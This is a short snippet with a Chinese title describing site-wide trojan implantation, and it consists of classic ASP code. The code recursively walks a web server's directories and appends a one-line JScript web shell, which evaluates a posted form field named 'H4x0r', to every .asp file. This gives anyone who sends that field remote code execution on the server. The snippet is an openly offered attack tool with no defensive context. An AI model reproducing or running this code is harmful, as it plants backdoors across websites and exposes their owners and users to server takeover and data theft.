FSO遍历目录实现全站插马的代码

1. <%  
2. dim ph  
3. dim intfile  
4. server.ScriptTimeout = 600  
5. ph=server.mappath("/")   
6. Sub InsertAllFiles(Path)  
7. Set FSO = CreateObject("Scripting.FileSystemObject")  
8. on error resume next   
9. Set f = FSO.GetFolder(Path)  
10. Set fc2 = f.files  
11. For Each myfile in fc2  
12. If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then  
13. Set FS1 = CreateObject("Scripting.FileSystemObject")  
14. Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)  
15. tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"  
16. else  
17. InsertAllFiles(newpath)  
18. end if  
19. tfile.close  
20. Next  
21. Set fsubfolers = f.SubFolders  
22. For Each f1 in fsubfolers  
23. newpath=path&""&f1.name  
24. InsertAllFiles(newpath)  
25.  
26. Next  
27. set tfile=nothing  
28. Set FSO = Nothing  
29. End Sub  
30. %>  
31. <%   
32. call InsertAllFiles(ph)  
33. %>